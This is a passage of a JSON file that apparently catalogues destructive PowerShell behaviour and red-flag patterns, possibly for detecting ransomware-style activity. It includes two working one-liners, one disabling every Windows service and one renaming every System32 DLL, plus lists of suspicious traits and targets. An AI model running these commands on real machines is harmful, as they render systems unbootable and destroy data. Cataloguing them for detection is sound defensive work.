      "configuration_manipulation": {
        "description": "Configuration manipulation",
        "code": "Get-Service | ForEach-Object { Set-Service -Name $_.Name
-StartupType Disabled }"
      },
      "system_file_manipulation": {
        "description": "System file manipulation",
        "code": "Get-ChildItem -Path \"C:\\Windows\\System32\" -Include *.dll -Recurse |
ForEach-Object { Move-Item $_.FullName \"$($_.FullName).bak\" }"
      }
    }
  },
  "red_flags": {
    "command_characteristics": [
      "Mass file operations",
      "Cryptographic functions",
      "System-wide changes",
```

```
        "Configuration alterations",
        "Destructive operations"
      ],
      "suspicious_patterns": [
        "Multiple target files",
        "Encryption keys",
        "File replacements",
        "System modifications",
        "Critical path access"
      ]
    },
    "common_methods": {
      "encryption_operations": [
        "File encryption",
        "Key generation",
        "Certificate usage",
        "Secure string conversion",
        "Cryptographic functions"
      ],
      "data_manipulation": [
        "Content modification",
        "File replacement",
        "Configuration changes",
        "Database alterations",
        "System file changes"
      ],
      "target_selection": [
        "User files",
        "System files",
        "Configuration files",
        "Databases",
        "Critical resources"
      ]
    }
  }
}
```